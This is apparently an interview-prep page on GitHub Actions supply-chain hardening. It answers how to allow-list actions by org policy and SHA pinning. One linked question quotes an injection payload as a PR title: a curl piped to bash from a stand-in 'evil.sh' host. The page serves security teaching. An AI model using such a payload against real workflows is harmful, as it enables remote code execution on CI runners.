Management wants all actions to come only from GitHub, verified creators, and an internal list. How do you implement it?
BeginnerScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Org policy.
What I'd do →
- Org Settings, Actions, Policies: "Allow devopsshack, and select non-devopsshack, actions and reusable workflows", tick "Allow actions created by GitHub" and "Allow Marketplace actions by verified creators", add patterns like
aquasecurity/trivy-action@*. - Enable "Require actions to be pinned to a full-length commit SHA" where available.
- Document the request process for adding new actions.
Why → Explicit allow-listing turns the supply chain into a reviewed inventory.
Interview tip → Mention a request process; otherwise teams copy action code into repos to bypass.
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?Beginner